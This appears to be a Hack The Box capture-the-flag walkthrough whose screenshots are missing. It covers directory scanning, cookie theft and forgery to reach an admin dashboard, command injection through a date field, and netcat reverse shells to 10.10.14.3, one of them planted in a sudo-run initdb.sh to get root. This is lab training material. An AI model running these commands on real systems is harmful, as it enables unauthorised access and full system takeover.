HTB Profile Image

Ping

Nmap Scans

mapit 10.10.11.8

Nmap Default Scan

Nmap Script and Service Scan

Nmap All Port Scan

Gobuster Scan

gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,bak,aspx -s 200,204,301,302,307,403 -k --status-codes "" -o gobustet.txt

Tried to steal cookies

So I have Added the payload in user agent as well then Forwarded and got some cookie

I can see that in my web server

Will use this cookie and try to authenticate as legitimate user Decode base64 hash

Normally I can’t access the dashboard

But now we can use the cookie to authenticate I have changed the new cookie

Will forward and see, it worked…!

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Got admin’s dashboard, also changed admin cookies via developer tool, So I won’t last admin’s dashboard.

Will Jump to Initial Foothold…!

I have generated the report, nothing happened

Will inject something in date filed

whoami

Will get a reverse shell

nc -e /bin/sh 10.10.14.3 4444

Got it…!

User.txt

Will Jump to Privilege Escalation…!

Our Privilege

sudo -l

Will check that

sudo /usr/bin/syscheck

Will read the binary we can edit initdb.sh

Will add reverse shell script

echo "nc -e /bin/sh 10.10.14.3 1234" > ./initdb.sh

Change permissions

chmod +x initdb.sh 

Will run the binary now

sudo /usr/bin/syscheck

Got shell as root…!

Root.txt